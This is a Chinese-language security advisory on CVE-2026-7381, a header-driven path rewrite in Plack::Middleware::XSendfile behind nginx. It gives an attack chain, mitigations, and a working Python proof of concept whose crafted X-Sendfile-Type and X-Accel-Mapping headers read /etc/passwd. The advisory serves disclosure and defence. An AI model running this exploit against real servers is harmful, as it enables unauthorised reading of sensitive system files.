IPBUF安全漏洞报告
English
CVE-2026-7381 CVSS 9.1 严重

CVE-2026-7381 Plack::Middleware::XSendfile 路径重写漏洞

披露日期: 2026-04-29
来源: 9b29abf9-4ab0-4765-b253-1875cd9b441e

漏洞信息

漏洞编号
CVE-2026-7381
漏洞类型
路径遍历
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Plack::Middleware::XSendfile

相关标签

路径遍历PerlPlackNginxCWE-22Arbitrary File Read

漏洞概述

Perl的Plack::Middleware::XSendfile组件存在严重安全漏洞。由于该组件允许通过客户端HTTP头部控制sendfile类型,攻击者可无需认证利用此漏洞。通过发送特制的X-Sendfile-Type和X-Accel-Mapping头部,攻击者能够诱导nginx反向代理读取服务器上的任意文件,导致高机密性和完整性风险。

技术细节

该漏洞源于Plack::Middleware::XSendfile对客户端输入的头部验证不足。当应用未在中间件构造函数中显式设定sendfile类型时,恶意客户端可以通过发送`X-Sendfile-Type: X-Accel-Redirect`头部来强制更改发送文件的行为机制。随后,攻击者利用`X-Accel-Mapping`头部定义路径映射规则,将前端请求的路径重写映射到服务器后端的敏感文件路径(如/etc/passwd)。由于nginx支持这种内部重定向机制,攻击者可以绕过Web应用层的访问控制直接读取文件。尽管该中间件禁止在映射中使用正则表达式,但基础的路径映射功能仍足以造成严重的信息泄露。

攻击链分析

STEP 1
1. 侦察与识别
识别运行在nginx反向代理之后且使用Plack::Middleware::XSendfile(版本<=1.0053)的目标应用。
STEP 2
2. 构造恶意请求
攻击者构造HTTP请求,包含`X-Sendfile-Type: X-Accel-Redirect`头部以激活nginx的重定向机制,并设置`X-Accel-Mapping`头部将URL路径映射到服务器敏感目录(如/etc/)。
STEP 3
3. 发送攻击载荷
向目标服务器发送构造好的请求,试图访问映射后的敏感文件路径(例如通过请求映射后的路径访问/etc/passwd)。
STEP 4
4. 服务器处理与文件泄露
Plack中间件接受恶意头部配置,指示nginx执行内部重定向。nginx根据映射规则读取文件并返回给攻击者,导致数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_cve_2026_7381(target_url): """ PoC for CVE-2026-7381 Demonstrates arbitrary file read via X-Sendfile-Type and X-Accel-Mapping. """ headers = { # Force the middleware to use nginx's X-Accel-Redirect mechanism "X-Sendfile-Type": "X-Accel-Redirect", # Map a public path prefix to a restricted directory (e.g., /etc/) # Syntax: /public_prefix/=/protected_directory/ "X-Accel-Mapping": "/static/=/etc/", # Trigger the redirect to the specific file "X-Accel-Redirect": "/static/passwd" } try: response = requests.get(target_url, headers=headers) print(f"[*] Status Code: {response.status_code}") print("[*] Response Content:") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://vulnerable-app.com/download" exploit_cve_2026_7381(target)

影响范围

Plack::Middleware::XSendfile <= 1.0053

防御指南

临时缓解措施
建议立即在Plack中间件配置中显式指定`sendfile`参数,防止客户端利用头部篡改设置。如果业务不依赖该功能,应直接禁用Plack::Middleware::XSendfile模块以消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表